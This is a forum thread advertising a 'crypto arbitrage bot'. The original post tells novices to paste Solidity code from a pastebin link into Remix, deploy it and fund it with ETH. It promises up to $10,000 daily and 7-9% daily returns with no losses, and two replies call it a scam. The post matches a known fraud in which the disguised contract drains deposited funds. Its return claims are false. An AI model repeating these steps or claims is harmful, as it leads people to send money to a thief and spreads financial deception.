Thread: [Crypto Arbitrage Contract \(Auto Pilot\)](#)

pixelworks - November 11, 2022, 5:44 am

Simple for persons who lack experience in coding but would like to learn and earn.

VIDEO TUTORIAL INCLUDED
NEWB FRIENDLY
EARN \$50-10,000 DAILY

(NB. THIS IS NOT FINANCIAL ADVICE. ROI IS DEPENDENT ON INITIAL INVESTMENT)

Works with all ETH related coins and tokens.
Supported exchanges: UNISWAP(default) / 1INCH

PRIVATE CONTRACT

NO MINIMUM INVESTMENT

EASY SET UP

How to launch your own arbitrage bot

1. Download MetaMask (if you don't have it already):

<https://metamask.io/download.html>

2. Access Remix:

<https://remix.ethereum.org/>

3. Click on the "contracts" folder and then create "New File". Rename it as you like, i.e: "bot.sol"

Note: If there is a problem if the text is not colored when you create bot.sol and paste the codes from pastebin, try again. If the codes are not colored, you cannot proceed to the next step.

4. Paste this code in Remix:
<https://pastebin.com/WgpPrQc8>

5. Go to the “Solidity Compiler” tab, select version “0.6.6+commit.6c089d02” and then select “Compile bot.sol”.

Make sure “bot.sol” is selected in the CONTRACT section of the SOLIDITY COMPILER section.

6. Go to the “DEPLOY & RUN TRANSACTIONS” tab, select the “Injected Provider - Metamask” environment and then “Deploy”. By approving the Metamask contract creation fee, you will have created your own contract.

7. Copy your newly created contract address as shown on video and fund it with any amount of ETH that you would like the bot to earn with by simply sending ETH to your newly created contract address.

8. After your transaction is confirmed, click the “start” button to run the bot. Withdraw your ETH at any time by clicking the “Withdraw” button.

That's it. The bot will start working immediately earning you profits from arbitrage trades on Uniswap pools.

FAQ

If many people will use the bot, wouldn't dilution of profits occur?

We do not plan to limit access to the bot for now because there won't be any affect for us or our users profiting as pools that the bot works on are with the biggest liquidities and volumes on Uniswap so our users involvement in the pools will always be very minor.

What average ROI can I expect?

According to our latest data of bot performances (past 3 weeks) ROI is about +7–9% daily per user. Bot does not make any losses, it only executes trades when there's proper arbitrage opportunity to make profit, so under all circumstances user is always on plus.

What amount of funds bot need to work?

We recommend funding the contract with at least 0.5-1 ETH to cover gas fees and possible burn fees. Bot targets token contracts with max 10% burn fee and anything lower but nowadays most of tokens comes with 3~6% fees. If you fund the contract with less than recommended and the bot targets another token with high burn fees the contract will basically waste in fees more than make profit.

Does it work on other chains or DEXes as well?

No, currently the bot is dedicated only for Ethereum on Uniswap pools.

only reason im sharing is because crypto crashed and im tryna help who lost almost everything. so enjoy while it lasts lmao internet people ruin everything

bjfinance95 - January 27, 2023, 6:14 am

this is a scam, usually found on yt

Dehero1 - November 30, 2023, 12:36 am

Dont know why people would really make scam methods
